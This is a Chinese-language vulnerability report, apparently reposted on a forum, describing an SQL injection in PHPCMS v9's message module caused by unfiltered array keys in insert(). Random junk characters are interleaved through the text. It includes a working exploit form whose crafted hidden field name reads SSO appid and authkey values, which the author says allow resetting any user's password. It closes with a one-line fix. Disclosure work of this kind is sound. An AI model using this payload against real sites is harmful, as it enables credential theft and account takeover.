|
简要描述:
& _$ @* }4 d" ?" o/ c' x
; M: P! [ L8 z! {5 b& D. d第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
( F% ?! l' S5 ?4 b9 ^3 V' z: m7 {; M) P, Y* y
明天再更新下一个漏洞。/ b6 ]) o; p' A; Z5 E, e+ Z
详细说明:' v1 x7 J& @4 U2 f8 o
在/phpcms9/phpcms/modules/message/index.php中有代码如下:; s* L# P r# h8 ], t
% H ~8 d" h" n' n/ s9 |$messageid = $this->message_db->insert($_POST['info'],true);
0 _# b( b1 g. C' h$ a- K& H# u. z! l
. U4 k5 n' f. n0 c7 x
insert方法是key value的,代码如下:
" U0 b' K1 o3 |, R3 H& }6 ]7 \' B4 Z0 W. k& l
public function insert($data, $table, $return_insert_id = false, $replace = false) {# F% z: [( v, K: f: q
if(!is_array( $data ) || $table == '' || count($data) == 0) {6 k9 \$ Z' L- D* q7 L4 o
return false;
+ v1 H! _: ^6 m! z9 r/ d4 R* J( { }
6 c! \ w, x$ v $ k6 ~5 I1 B1 p9 m- m
$fielddata = array_keys($data);0 {9 o' k# T) ?# @2 t+ U8 ~
$valuedata = array_values($data);
6 w) C* U. P% E2 F array_walk($fielddata, array($this, 'add_special_char'));
2 y" {4 c! B; K1 P6 N array_walk($valuedata, array($this, 'escape_string'));
& j0 l# @' {0 D' A- d
4 c, ^+ l" C, m- U5 F $field = implode (',', $fielddata);
" I: e5 T. d6 k0 | $value = implode (',', $valuedata);5 w3 T" j4 {( m0 I! w2 N9 h
' d. m. O: |, v$ d; H" `; V $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';4 V+ D* y/ K, u0 _8 H& C8 Y
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';4 Y! `& M, L2 T& f
$return = $this->execute($sql);
) f- _+ M6 k; u, m2 k6 L3 w return $return_insert_id ? $this->insert_id() : $return; R8 C$ }! {( r" V8 X3 ~6 P" L
}8 Y* u5 ~: T; {# I/ G
L0 z. y9 J7 R: }: c% R! X+ ^
/ x4 p2 L, \, f嗯,很遗憾的是- h" B. n1 l o8 t3 t
0 c/ H7 u+ p5 E- h6 Narray_walk($fielddata, array($this, 'add_special_char'));
& D2 g( {9 A, ^" D% i1 U6 L2 b( A) m; j8 K5 I8 r
/ `: _' Z6 n& i# ?$ E0 A" {: H
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
; `' a6 q$ p+ i, r3 T) o8 J( ]8 m: ?0 X; _6 x
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
0 l# p7 l8 B: F E6 o+ ]7 f' j, c8 D; u" b- {& q/ }; [
漏洞证明:- k2 K1 c& I& T( n
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。3 f9 V# x' E3 D+ }0 A/ [
5 }% w- H6 w3 S5 o, s. b
# g$ v. a: i/ t表单如下:用户名什么的得自己改一改。; k6 j7 B3 r& v+ m) n' _9 B
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
, u) k% u" W7 P: p<table width="100%" cellspacing="0" class="table_form">! E7 u7 j% X: ?( A0 S+ o" l; e
<tr>
$ M2 G7 H4 a5 o( O<th>标 题:</th>6 `3 \9 c: f9 m; w t5 q2 _
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
; N l2 @( X$ x! R- q" L</tr>
; j9 y1 V) _. m5 `<tr>
% q5 y, l2 w4 x" O<th>内 容:</th>
6 G0 c) s3 Q( ]6 A5 f" S; k3 e<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
% c. S* @4 A7 f) y# }</tr>& m7 B5 Q4 J2 i0 V
<input type="hidden" name="info[replyid]" value="2" />
' N/ E: A- F( E" I% `<input type="hidden" name="info[send_to_id]" value="cc" />
3 t& ^4 L4 y5 E+ u, {$ z<input type="hidden" name="info[send_from_id]" value="hh">
1 @7 T8 o/ [! N* P0 ~<!-- 漏洞的利用重点在这里开始 -->) ?; c) ~/ ]) ~
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
# t% K& I; N! N, s2 t. y! f9 Y0 d+ ?<!-- 漏洞的利用重点在这里结束 -->
' H$ p1 z+ A* j+ V* i" @. M<tr>7 {7 J1 K$ ~ x
<th>验证码:</th>
$ C2 j2 y- \4 s' h# @<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>$ L/ O) I3 N# {1 v( U u
</tr>" r# \& z7 J" ^9 ]- L2 h. Y/ ~
<tr>5 Y, s& V: U! ?# I! t
<td></td>4 [$ i, u" R* j* O, ]% {
<td colspan="2"><label>
- L; N+ N) |3 P0 ]& X8 @0 L<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>! E0 g; L1 d/ ~* j6 e; W) ^4 Z' K
</label></td>; u+ {6 e$ H( A: u6 ~7 K) |% {
</tr>
) T4 [1 X9 _3 Q( ~; S7 ^/ E# y</table>9 {0 T. o! y; b0 d; b
</form> D6 B @& p0 h& G
在add_special_char函数内对key做过滤就可以了。
5 B; N6 }$ I9 x; G. @8 h' k% g% r, Y6 H, ]4 v
a1 A# o$ H5 V
9 L, R. U, j! k5 F c' y* ^9 L |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|